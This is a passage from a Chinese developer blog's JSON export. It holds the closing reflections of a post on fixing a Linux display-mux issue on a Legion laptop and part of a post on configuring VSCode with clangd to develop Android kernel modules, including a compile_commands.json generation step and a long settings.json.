title=\"尾语\"\u003e\u003c/a\u003e尾语\u003c/h2\u003e\u003cp\u003e从最开始的22年还是23年捣鼓这个事情,到现在又捣鼓了几个星期,确实了解到了不少东西。\u003c/p\u003e\u003cp\u003e尤其是,在Linux环境下修复Bug是一个具有逻辑、挑战以及意义的事情,你想要修复一个看似是显卡加载带来的问题,实际上也会遇到显示流程带来的问题。因此,连贯、系统、有逻辑分析与思考地认识问题,从问题中不断的研究与学习我觉得是必要的。\u003c/p\u003e\u003cp\u003e最开始的解决方案也是歪打正着,实际上也是创建了一个备用的配置文件,在Optimus Manager不能生成配置文件时启用了,但是当时把整个的错误原因怪罪于Optimus Manager。\u003c/p\u003e\u003cp\u003e捣鼓Linux尤其是像Arch这种稍微折腾一点的,确实是一件浪费时间的事情,但是他真的单纯是浪费吗?\u003c/p\u003e\u003cp\u003e在Windows下,如果遇到了一个问题,不断的查日志、查官方的资料,即使你最后找到了问题的根因,也不一定能够动手去解决这个问题,最终可能是要等官方推送新的补丁,或者说根本解决不了。\u003c/p\u003e\u003cp\u003e能力越大责任越大,在Linux下,挑战与机遇并存,在一次次的解决与尝试中,就像魂类游戏在一次次的死亡中研究对手招式一样不断的积累与突破自我,最后打败对手的那一刻,饱含了无数次死亡蕴含的不甘、激情与兴奋。敌愈强,吾愈强。\u003c/p\u003e\u003cblockquote\u003e\u003ch2 id=\"踏上取经之路,比达到灵山更重要。\"\u003e\u003ca href=\"#踏上取经之路,比达到灵山更重要。\" class=\"headerlink\" title=\"踏上取经之路,比达到灵山更重要。\"\u003e\u003c/a\u003e踏上取经之路,比达到灵山更重要。\u003c/h2\u003e\u003c/blockquote\u003e","url":"https://xiue233.github.io/2024/08/27/linux-mux-resolution-for-legion/"},{"title":"配置VSCode以开发安卓内核","time":"2024-08-13T01:30:07Z","content":"\u003cp\u003e打算开发个Android内核模块玩一玩,奈何我的Pixel3的内核源码和环境全配在服务器上了,只好捣鼓一下远程开发,最后选择了VSCode。\u003c/p\u003e\n\u003ch2 id=\"VSCode插件下载\"\u003e\u003ca href=\"#VSCode插件下载\" class=\"headerlink\" t\u003chr /\u003e\u003cp\u003e打算开发个Android内核模块玩一玩,奈何我的Pixel3的内核源码和环境全配在服务器上了,只好捣鼓一下远程开发,最后选择了VSCode。\u003c/p\u003e\u003ch2 id=\"VSCode插件下载\"\u003e\u003ca href=\"#VSCode插件下载\" class=\"headerlink\" title=\"VSCode插件下载\"\u003e\u003c/a\u003eVSCode插件下载\u003c/h2\u003e\u003col\u003e\u003cli\u003eclangd\u003c/li\u003e\u003cli\u003eRemote Development\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"compile-commands-json文件生成\"\u003e\u003ca href=\"#compile-commands-json文件生成\" class=\"headerlink\" title=\"compile_commands.json文件生成\"\u003e\u003c/a\u003ecompile_commands.json文件生成\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ecompile_commands.json\u003c/code\u003e 是一个 JSON 格式的文件,用来描述一个 C\u0026#x2F;C++ 项目中所有源文件的编译信息。这个文件通常由构建系统生成(如 CMake、Bear),并被许多代码编辑器和IDE用来提供更准确的代码补全、语法检查、错误检测等功能。\u003c/p\u003e\u003cp\u003ecompile_commands.json的生成方式根据构建系统而异,自行根据所用构建系统搜索相关方法。\u003c/p\u003e\u003cp\u003e有一个哥们写了一个生成的脚本,可以用它来一键生成。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/amezin/vscode-linux-kernel\"\u003evscode-linux-kernel\u003c/a\u003e\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e首先确保内核源码经过一次完整的构建\u003c/span\u003e\u003cbr\u003emake defconfig \u003cbr\u003emake\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e进行相关配置文件的生成\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e可以不在.vscode下,自行复制输出的配置文件到.vscode下即可\u003c/span\u003e\u003cbr\u003egit clone git@github.com:amezin/vscode-linux-kernel.git .vscode\u003cbr\u003epython .vscode/generate_compdb.py -O /你的编译输出文件路径\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"VSCode的配置\"\u003e\u003ca href=\"#VSCode的配置\" class=\"headerlink\" title=\"VSCode的配置\"\u003e\u003c/a\u003eVSCode的配置\u003c/h2\u003e\u003cp\u003e上文提到了通过脚本来生成配置文件,可以直接用它生成的配置。\u003c/p\u003e\u003cp\u003e针对\u003ccode\u003esettings.json\u003c/code\u003e可以进行如下配置(clangd等路径信息改为自己的,我这里直接用x86_64的clangd了,反正编译是通过构建脚本的):\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs json\"\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;files.associations\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;iostream\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;intrinsics.h\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;c\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;ostream\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;vector\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;cpp\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;*.h\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;c\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnPaste\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnSave\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.formatOnType\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.errorSquiggles\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.intelliSenseEngineFallback\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.intelliSenseEngine\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp.autocomplete\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;disabled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;clangd.path\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/usr/bin/clangd\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;clangd.arguments\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--compile-commands-dir=$\u0026#123;workspaceFolder\u0026#125;/\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--log=verbose\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--pretty\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--all-scopes-completion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--completion-style=bundled\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--cross-file-rename\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--header-insertion=iwyu\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--header-insertion-decorators\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--background-index\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--clang-tidy\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--clang-tidy-checks=cppcoreguidelines-*,performance-*,bugprone-*,portability-*,modernize-*,google-*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--fallback-style=file\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-j=2\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--pch-storage=disk\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;--function-arg-placeholders=false\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcBatchPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cCompilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;gcc\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cppCompilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;g++\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.debuggerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;gdb\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.cppStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useMsvc\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.warnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wall\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wextra\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wpedantic\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wshadow\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wformat=2\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wcast-align\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wconversion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wsign-conversion\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;-Wnull-dereference\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/W4\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/permissive-\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14242\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14287\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14296\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14311\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14826\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44062\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44242\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14905\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14906\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan 